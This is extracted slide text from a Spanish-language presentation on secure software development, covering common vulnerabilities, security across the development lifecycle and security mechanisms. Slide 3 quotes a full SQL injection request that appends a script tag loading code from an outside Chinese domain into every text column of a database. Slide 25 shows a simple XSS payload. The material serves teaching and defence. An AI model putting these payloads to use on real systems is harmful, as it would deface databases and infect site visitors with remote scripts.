3. Isummit2010
Respuesta
• "GET
/programs/biosafety/bioSafety_handBook/Chapter%206-
Bloodborne%20Pathogens%20Human%20Tissue?;DECLARE%20@S%2
0CHAR(4000);SET%20@S=CAST(0xDECLARE @T varchar(255)'@C
varchar(4000) DECLARE Table_Cursor CURSOR FOR select
a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and
a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or
b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor
INTO @T'@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update
['+@T+'] set ['+@C+']=['+@C+']+''"></title><script
src="http://sdo.1000mg.cn/csrss/w.js"></script><!--'' wh??re '+@C+'
not like ''%"></title><script
src="http://sdo.1000mg.cn/csrss/w.js"></script><!--''')FETCH NEXT
FROM Table_Cursor INTO @T'@C END CLOSE Table_Cursor
DEALLOCATE Table_Cursor
3
4. Isummit2010
Se conoce que
• El 75% de ataques a las aplicaciones actualmente se
realizan en la capa de aplicaciones (Gartner).
• Hay mucha información de como hackear en la web
• Fallos de seguridad de aplicaciones pueden ser remediados
a través de parches
• Ataques son realizados por personas que conocen mucho
de aplicaciones (desarrolladores)
El costos y la reputación de las empresas de desarrollo de
software se mide por la seguridad de la aplicación
4
8. Agenda
1. Seguridad del Software
2. Problemas de seguridad
3. Integración de la Seguridad dentro del ciclo de vida
de desarrollo de software.
4. Mecanismos de Seguridad en la arquitectura
5. Tópicos adicionales de seguridad
6. Preguntas
7. TALLER
8
9. Seguridad del Software
Flujo normal
Interrupcion
modificacion
Amenazas
fabricación intersepcion
10. Seguridad del Software
Seguridad de la Información --
Seguridad del software
La Seguridad de la información, tiene como
finalidad la protección de la información y los SI, de
su acceso, uso, divulgación, distribución no
autorizada, además de proteger la
confidencialidad, integridad y disponibilidad de la
información y los datos, independientemente de su
forma: electrónicos, impresos, audio u otras
formas, incluso las conversaciones personales.
11. Seguridad del Software
Seguridad del software – Seguridad
de la Información
• Dentro de la IS un objetivo es: que el software
siga funcionado correctamente ante diferentes
tipos de ataques maliciosos.
• El desarrollo y construcción de software seguro
se enfoca
– Análisis más eficiente
– Trabajo serio dentro del análisis, referente a los
requisitos de seguridad
12. Seguridad del Software
Seguridad del software
• Ingeniería de Requisitos de seguridad.
• Diseño para la seguridad, arquitectura de
software y análisis.
• Análisis de la seguridad, pruebas de seguridad,
• Principios para la SS y estudios de caso en el
diseño y análisis.
• Auditoría de software para la aplicación
riesgos, riesgos de arquitectura, herramientas
automatizadas.
14. Seguridad del Software
Revisión de Código
• La mayor parte de ataques de penetración se
dan por este camino.
• Revisión de los errores, con herramientas de
análisis estático que escanean el código para
descubrir vulnerabilidades.
• ejemplos son: Buffer overflow on line..,
principalmente en lenguajes como C y C++,
• La Revisión de código es necesaria, pero no es
suficientemente eficaz
15. Seguridad del Software
Pruebas de penetración
• Las pruebas de penetración son útiles,
especialmente si una arquitectura de análisis
de riesgos ha informa sobre estas pruebas.
• una ventaja en tener una buena comprensión
de los programas informáticos sobre el
terreno en su entorno real donde se van a
desarrollar.
• Plan de pruebas
16. Seguridad del Software
Casos de abuso
• Los casos de abuso son una forma de poder
determinar como se comportará un posible
atacante del sistema.
• Similares a casos de uso, los casos de abuso del
sistema, deben describir el comportamiento en
virtud de un posible ataque;
• la construcción de casos de abuso requiere la
cobertura explícita de la data que debe ser
protegida, de quienes, y por cuánto tiempo.
17. Seguridad del Software
Requisitos de seguridad
• La seguridad debe ser trabajada
explícitamente a nivel de requisitos.
• Deben cubrirse tanto las necesidades de
seguridad abierta como de seguridad
funcional aquí se puede mencionar, el uso de
la criptografía.
18. Seguridad del Software
Operaciones de seguridad
• La SS se puede beneficiar de la seguridad de la
red.
• Estos dos elementos bien integrados permiten
las operaciones de seguridad.
• Los conocimientos adquiridos mediante la
comprensión de los ataques deberían volver a
un ciclo de desarrollo de software, convertirse -
- requisitos de seguridad.
19. Agenda
1. Seguridad del Software
2. Problemas de seguridad
3. Integración de la Seguridad dentro del ciclo de vida
de desarrollo de software.
4. Mecanismos de Seguridad en la arquitectura
5. Tópicos adicionales de seguridad
6. Preguntas
19
20. PROBLEMAS DE SEGURIDAD
• Over flows
• Errores en la validación de entradas como:
inyección SQL
• Secuestro de sesiones (colocación del equipo del atacante en
algún lugar de la ruta de conexión)
• Ejecución de código remoto
• XSS (ataque que permitiera ejecutar código de
"scripting", como VBScript ) "Cross Site Scripting“
• Control de excepciones
21. Problemas de Seguridad
Over Flow
• consiste en sobrepasar la capacidad de cálculo o
exceso de datos de una variable, esto es un error
de programación.
• El gusano Morris fue el primer gusano auto-
replicable, cuyo objetivo era averiguar las
contraseñas de otras computadores, aprovechando
dicha vulnerabilidad,
• C++
• Controlado en .Net, Java
• Demo de programa en C
21
22. Control de excepciones
• Mensajes de error con datos críticos,
información relevante para un atacante
– Servidor, ip, DB, tablas, usuarios, paths
• Demo con programa de Punto .Net
22
23. Problemas de Seguridad
SQL Inyección
• Las inyecciones SQL son un problema común
en sistemas que utilizan base de datos,
consisten en modificar las sentencias SQL que
son ejecutados en una base de datos. Por lo
general la modificación de sentencias se lo
hace a través de la interfaz gráfica de usuario.
• Procedimientos dinámicos
• Parámetros de texto
• Demo con programa de Visual Fox
23
24. Problemas de Seguridad
Gestión defectuosa de sesiones
• Control en tiempo por sesiones abiertas
• Acceso a paginas lanzadas desde la aplicación
• Demo sitios de internet.
24
25. Problemas de Seguridad
XSS
• Su nombre original es Cross Site Scripting y es
abreviado como XSS para no ser confundido
con las siglas CSS. Las vulnerabilidades de XSS
originalmente abarcaban cualquier ataque
que permitiera ejecutar código de scripting,
como VBScript o Java Script, en el contexto de
otro sitio web.
• <script>for(var i=0; 1==1; i++){alert (Hola
Mundo)}</script>
25
26. Autenticación
• La autenticación permite la identificación de
usuarios de un sistema, es una forma de saber,
quién ingresa y qué rol tiene (Administrador,
secretario, contador, gerente, etc.).
• La autenticación generalmente se lo hace a través
de un usuario y contraseña, el usuario puede ser
de dominio público (mail, el cual muchas
personas lo conocen), pero la contraseña es de
carácter privado.
• Contraseñas, fáciles de descifrar, no encriptadas.
26
27. Autorización
• El acceso a módulos a los que no se tiene
permiso de ingresar se controla con la
autorización. Es decir la autorización es el
mecanismo que sirve para verificar sí se tiene
el permiso para ingreso a un determinado
sitio y que se permite hacer una vez
autenticado.
27
28. Agenda
1. Seguridad del Software
2. Problemas de seguridad
3. Integración de la Seguridad dentro del ciclo de
vida de desarrollo de software.
4. Mecanismos de Seguridad en la arquitectura
5. Tópicos adicionales de seguridad
6. Preguntas
7. TALLER
28
29. Seguridad SDLC
La seguridad en el ciclo de vida
• No se debe confiar en la entrada del usuario!
• Se debe Validar siempre, incluye: encabezados, tipo y
la longitud de los parámetros
• trucos de programación puede dar lugar a agujeros de
seguridad
• Utilice el principio de mínimo privilegio
29
31. Seguridad SDLC
Consideraciones en el ciclo de vida de desarrollo de
sistemas
Initiation Acquisition/ Implementation Operations/ Disposition
Development Maintenance
SDLC |SecurityConsiderations
* * Documento de -Instalación * Medir el rendimiento * Adecuada
Necesidad,objetivos necesidadesfuncionales. -Inspección *Contrato de eliminación
,misión y * Investigación de Mercados -Las pruebas de aceptación actualización *Intercambio y
rendimiento *Estudio de Factibilidad -Formación inicial del *Operaciones de venta
*Evaluación de las * Análisis de Requerimientos usuario Mantenimiento * Transferencia y
alternativas (capital) *Análisis de Alternativas -Documentación donación
*Preparación para *Análisis Costo-Beneficio * Contrato de cierre
la inversión y el *Gestión de Riesgos
presupuesto *Adquisición de
Planificación
____________________ ________________ _______________
__________________
- Gestión de la * Información de
_______________ * Evaluación de Riesgos Conservación
*Análisis de la Seguridad - Integridad de los Sistema Configuración y Control
_ - Certificación de Seguridad *Medidas de
Requisitos funcionales - vigilancia continua
- Categorización de - Acreditación de Seguridad desinfección
Seguridad * Análisis de Requerimientos * Eliminación de
- Evaluación de seguridad hardware y software
Preliminar de los *Consideraciones de costos
Riesgos *Planificación de la
Seguridad
*Desarrollo de Control de
Seguridad
*Como evaluar la seguridad
32. Seguridad SDLC
8 pasos para integrar la seguridad en
el SDLC
NIST y ISO son complejos y costosos de implementar.
recomendación del NIST consiste en adoptar y modificar
según sea la necesidad.
1. Documentación formal
2. Entrenamiento
3. Requerimientos
4. Arquitectura y diseño
5. Implementación
6. Despliegue
7. Operación
8. Terminación
33. Seguridad SDLC
Integración de la Seguridad en el SDLC
Paso 1: Documentación formal
• Documento de normas, prácticas y políticas para el desarrollo,
adquisición y/o mantenimiento de cualquier sistema.
• Uso del NIST, ISO 27001:2005, PCI, o cualquier otras normas de
seguridad.
• Delimitar las funciones y responsabilidades
• Metodología para la planificación y gestión de proyectos
– cómo los datos confidenciales deben ser recogidos, clasificados,
inventariados, almacenados, compartidos y gestionados a través
del tiempo.
– cómo las aplicaciones que "tocan" estos datos deben ser
implementadas.
– Cubrir con auditoría, los requisitos de cifrado y el conjunto
estándar de las tecnologías aprobadas (Arquitectura de Referencia)
– documenta y seguir un proceso formal de gestión del cambio
34. Integración de la Seguridad en el SDLC
Paso 2: Entrenamiento
• Si los usuarios no están educados sobre los problemas
de seguridad, reglamentos y leyes, cualquier sistema
fracasará.
• Correo electrónico se utiliza sin intención de
transmitir la información regulada o confidencial
• Los datos privados se ingresan en un campo de texto
• Entrenar a líderes de proyecto, programadores y a las
empresas sobre seguridad de los datos y las políticas.
– No asumir que el personal técnico y los vendedores son
conscientes de todas las cuestiones de seguridad.
– Asignar personal adecuadamente formado: revisores
35. Integración de la Seguridad en el SDLC
Paso 3: Requerimientos
• Identificar los requisitos de seguridad en la fase de
levantamiento, adquisición de productos o el desarrollo
• Ejemplos de preguntas para hacer y poner en la plantilla
• Metodología para Requisitos de Seguridad
36. Seguridad SDLC
Documento de requerimientos
• Diseño y formato de sus documentos de requerimientos para
facilitar las pruebas.
Ejemplo:
Sistema de funciones 1.1.a - Horario de las sesiones.
Cerrar sesiones 15 minutos de tiempo de inactividad.
Sistema de características 1.1.b - Al tiempo de espera de
sesión, los datos serán borrados de la memoria y las tablas
temporales.
37. Seguridad SDLC
Integración de la Seguridad en el SDLC
Step 4: Arquitectura y diseño
• Dedicar un papel de seguridad en su organización
Centralizar la política de seguridad, revisiones de seguridad, el
desarrollo de componentes de seguridad, operación y
mantenimiento de las funciones de supervisión con personal
calificado
– Arquitectura de seguridad sobre todas las capas: base de datos, red,
sistema operativo, y la capa de aplicación
ser flexible para apoyar la integración de las nuevas tecnologías
– proporcionar un enfoque modular para la autenticación y autorización
asignar niveles de seguridad de forma consistente, a nivel más bajo de
acceso requeridos por el individuo, la seguridad más estricta
• Identificar los puntos vulnerables, los componentes de diseño y
reutilización común y probado
• Consolidar el almacenamiento de datos sensibles - importante
38. Seguridad SDLC
Comunicación con los distribuidores de
programas
• Documentar cómo los datos son utilizados por cada
componente -a dónde va
Transmisiones / intercambios de información privada debe ser
encriptada utilizando protocolos como:
– HTTPS
– SFTP
– SSH
– STunnel
– VPN
• Documentar cómo se autentica una aplicación o componente a
otro servicio - contraseñas, certificados PKI, secretos, IP
restringido?
39. Integración de la Seguridad en el SDLC
Step 5: ImplementaciónAdquisición
• Hacer de la seguridad una rutina
• Calendario de escaneo de configuración, para evitar vulnerabilidad, en
servidores nuevos - incluso para el desarrollo
• Exigir revisiones de códigos de seguridad y base de datos
– Automatización de procesos todas las noches código estático y dinámico
– Utilizar herramientas de análisis
• Requerir a los desarrolladores a construir unidades de prueba
• Requerir a los desarrolladores reutilizar componentes probados de
seguridad
• Un solo inicio de sesión, la autorización de la API, los objetos de la
identidad del usuario, el registro de la API
– Lista de aplicaciones web normales, pruebas de penetración de un día
– Identificar los datos confidenciales de prueba
– Escribir el manual de procedimientos de pruebas de seguridad
– Realizar la concurrencia, la carga y las pruebas de estrés
– Detección de defectos de diseño inicial - más caros de solucionar
después
40. Revisión de Código – un proceso
• Manual de Revisión del Código debería por lo menos se centran
en http://www.owasp.org/index.php/Code_Review_Processes :
– Autorización
– Control de Acceso
– De validación de entrada
– Control de errores
– Gestión de Sesiones
– Teclas de formulario o de rotación frecuente de sesión (para la defensa CSRF)
– Adecuada aplicación de registro
– Base de datos de acceso y actualizaciones, encriptación de datos
• Utilice herramientas automatizadas - prestar atención a los falsos
negativos y falsos positivos. No sustitución de las revisiones de
código manual.
• Metricashttp://www.owasp.org/index.php/Code_review_Metrics
– densidad de defectos, las líneas de código, puntos de función
– http://www.parasoft.com/jsp/products/dottest.jsp
Requisitos de seguridad de codigo
41. Modelandopara la seguridad
Cuando cree tablas en la base de datos:
– No use datos confidenciales como elementos de las llaves
en las tablas, estas no puede ser cambiadas
– Normalizar la informacion confidencial en una sola tabla
• Habrá que auditar solo una tabla o una columnas
• Encriptar una sola tabla
• Donde almacenar los datos delicados
• Ejercicios de simulacro de alerta de intrusión y preparar
• Revisión de los registros de la capacidad de análisis
forense
42. Integración de la Seguridad en el SDLC
Step 6: Despliegue
• Crear y asegurar entornos de desarrollo, prueba y producción
• Necesarios para el cumplimiento de pago de tarjetas de crédito
• Entrenar a personal para Atención al cliente
• Tenga en cuenta la política de no permitir que los datos confidenciales en
equipos portátiles u otros dispositivos portátiles
• Piense acerca de cómo utilizar las impresoras.
• Cortar y pegar?
• Administrar profesionalmente copias de seguridad del
sistema y los datos?
• copias de seguridad, identificar a las personas comprometidas
• Fuera de las instalaciones copias de seguridad? ¿Dónde? En su casa?
• planes de recuperación ante desastres?
43. Integración de la Seguridad en el SDLC
Step 7: Operacion/Mantenimiento
• Catálogo e inventario de uso de datos personales
• Hacer “una rutina" revisiones de seguridad, auditorías, cambios de
contraseña
• Escaneo de vulnerabilidades
• Aplicar los parches de seguridad a tiempo en todas las capas de
arquitectura
– Sistema operativo, servidor de seguridad, bases de
datos, plataforma
• Control de cambios
– Reunión semanal para todos los desarrolladores y
administradores
– Coordinar y programar los cambios en la red, base de
datos, aplicaciones, sistemas operativos, servidores de
seguridad y configuraciones.
44. Seguridad SDLC
Integración de la Seguridad en el SDLC
Paso 8: Terminación
• Datos
– Retención y cumplimiento de la conservación
• Como deshacerse de hardware y software
– ¿El período de retención de datos chocan con un extremo de
software de su vida útil?
– Es el almacenamiento de datos necesarios?
– Desinfectar los medios de comunicación profesional –
desmagnetización. Hacer frente a las copias de seguridad
• Actualización de catálogo de datos de carácter personal de
nuevo
45.
46. Agenda
1. Seguridad del Software
2. Problemas de seguridad
3. Integración de la Seguridad dentro del ciclo de vida
de desarrollo de software.
4. Mecanismos de Seguridad en la arquitectura
5. Tópicos adicionales de seguridad
6. Preguntas
7. TALLER
47
47. MECANISMOS
preventivos, que actúan antes de que un hecho
ocurra y su función es detener agentes no
deseados;
detectivos, actúan antes de que un hecho ocurra
además su función es revelar la presencia de
agentes no deseados; y,
los correctivos: actúan luego de ocurrido el hecho y
su función es corregir las consecuencias.
La determinación de aplicarlos estos mecanismos es
responsabilidad de cada organización
48
48. Mecanismos de Seguridad
MECANISMOS DE SEGURIDAD
• Integridad de datos
• Firma digital
• Tráfico de relleno
• Control de encaminamiento
• Unicidad
• Cifrado
• Intercambio de autentificación
• Control de acceso
49. Mecanismos de Seguridad
INTEGRIDAD DE DATOS
• implica el cifrado de una cadena comprimida
de datos a transmitir, para verificar que los
datos no han sido modificados. Normalmente
se llama valor de comprobación de integridad,
el mismo que se envía al receptor junto con
los datos originales. El receptor realiza el
proceso contrario y comprar los resultados.
50
50. Mecanismos de Seguridad
FIRMA DIGITAL,
• en un documento que es el resultado de aplicar un algoritmo
matemático (hash) al contenido y aplicar luego un algoritmo de firma
al resultado en el que se emplea una clave privada. Se mencionan
validaciones que debe realizar el software de firma digital:
– Vigencia del certificado digital del firmante,
– Revocación del certificado digital del firmante (puede ser por OCSP
o CRL),
– Inclusión de sello de tiempo.
• Hash es un algoritmo matemático el mismo que calcula un valor
resumen de los datos a ser firmados, particularmente a partir de el
valor obtenido no se pueden obtener los datos originales por lo que se
lo conoce como unidireccional. Al adjuntar el valor al contenido el
destinatario aplica la función y comprueba los resultados obtenidos
para determinar la veracidad de la información
51
51. Mecanismos de Seguridad
TRÁFICO DE RELLENO
• consiste en enviar tráfico falso junto con los
datos válidos para que el atacante no sepa si
se está enviando información, ni qué cantidad
de datos útiles se está transmitiendo.
52
52. Mecanismos de Seguridad
CONTROL DE ENCAMINAMIENTO,
• permite enviar determinada información por
determinadas zonas consideradas clasificadas.
Así mismo posibilita solicitar otras rutas, en
caso que se detecten persistentes violaciones
de integridad en una ruta determinada.
53
53. Mecanismos de Seguridad
UNICIDAD
• consiste en añadir a los datos un número de
secuencia, la fecha y hora, un número
aleatorio, o alguna combinación de los
anteriores, que se incluyen en la firma digital
o integridad de datos.
• De esta forma se evitan amenazas como la
reactuación o resecuenciación de mensajes.
54
54. CIFRADO
• consiste con la utilización de un mecanismo de cifrado
que permite transforma un texto claro a un texto
cifrado que no podrá ser entendido por otros, si no se
conoce la clave que se utilizó para el cifrado.
• si se utiliza la misma llave para cifrar y para descifrar
los datos hablando de un cifrado simétrico. Este tipo de
cifrado es mucho más rápido que aquellos donde se
utilizan llaves públicas. Un ejemplo de estos algoritmos
los podemos en: IDEA, RC5, DES, TRIPLE DES.
• demo
55
55. Mecanismos de Seguridad
INTERCAMBIO DE AUNTENTIFICACIÓN
• una parte demuestra la identidad que afirma tener
• más común es el nombre de usuario y contraseña (más
utilizadas actualmente).
• En SI, se puede trabajar con la autentificación desde las
máquinas clientes donde es muy sensible la
información esto debido a que un alguien que tenga
acceso a los servidores podrá suplantar las claves y la
identidad de un usuario real.
• se puede realizar a través de claves de accesos,
dispositivos biométricos, etc..
56
56. INTERCAMBIO DE AUNTENTIFICACIÓN
• proceso de encriptación de claves dentro de
los mismos SI
• Con la ayuda de procesos experimentados de
autentificación que son provistos por
determinadas empresas para el uso de los
mismos, una de estas podríamos enunciar a la
herramienta Active Directory.
• Demo sitio profesor
57
57. Mecanismos de Seguridad
CONTROL DE ACCESO
• Permite determinar los permisos y privilegios
de acceso otorgados a un objeto dependiendo
del rol que cumple en un determinado proceso.
• Las listas de acceso para controlar el tráfico
entre equipos de redes, permitiendo y
denegando el tráfico de acuerdo a las
condiciones que las pone el administrador.
58
58. CONTROL DE ACCESO,
• A nivel de la base de datos
• A nivel de la aplicación
• Demostración Oracle (grants)
• Demostración software CEDIB
59
59. Mecanismos de Seguridad
Mecanismos y Arquitectura
Arquitecturas
Mecanismos de Monolítica C/S 3 capas
seguridad
Autentificación X X X
Cifrado X X
Integridad de los X X X
Datos
Control de X
encaminamiento
Autorización X X X
60
60. ARQUITECTURA DE SOFTWARE
La Arquitectura de Software es una vista de alto
nivel que define el o la combinación de estilos
para la solución de sistema de software, además
es una organización a alto nivel del sistema que
incluye aspectos como: descripción y análisis de
propiedades relativas a su estructura y control
global, los protocolos de comunicación, la
distribución física del sistema y sus
componentes.
61
62. Mecanismos de Seguridad
Security Architecture – Multi-layer
Políticas, estándares, procedimientos, Técnicas referentes a la
arquitectura
Aprovechamiento de herramientas y el ciclo de vida
Aprobación de excepciones
Revisiones reguladas
APLICACIÓN
USUARIO DATOS OPERACIÓN
RED Autorización
Manejo de Autorización Backups
Administración Login/auditori
Identificación Login Login/auditoria
Firewall, Encrip a
Autentificación Encriptación, Recuperación
tación, Herramientas
Educación inventario ante desastres
de prueba
http://apps.adcom.uci.edu/expresso/econtent/Content.do?resource=4
63. Agenda
1. Seguridad del Software
2. Problemas de seguridad
3. Integración de la Seguridad dentro del ciclo de vida
de desarrollo de software.
4. Mecanismos de Seguridad en la arquitectura
5. Tópicos adicionales de seguridad
6. Preguntas
64
64. Tópicos
• Personal informático de la empresa
• Personal externo de la empresa
• No dejar de hacer revisiones manuales
• Toda la arquitectura debe trabajar en conjunto
para aplicar la seguridad
• Logs de la aplicación
• Cambio periódico de claves
• La seguridad en dispositivos móviles
65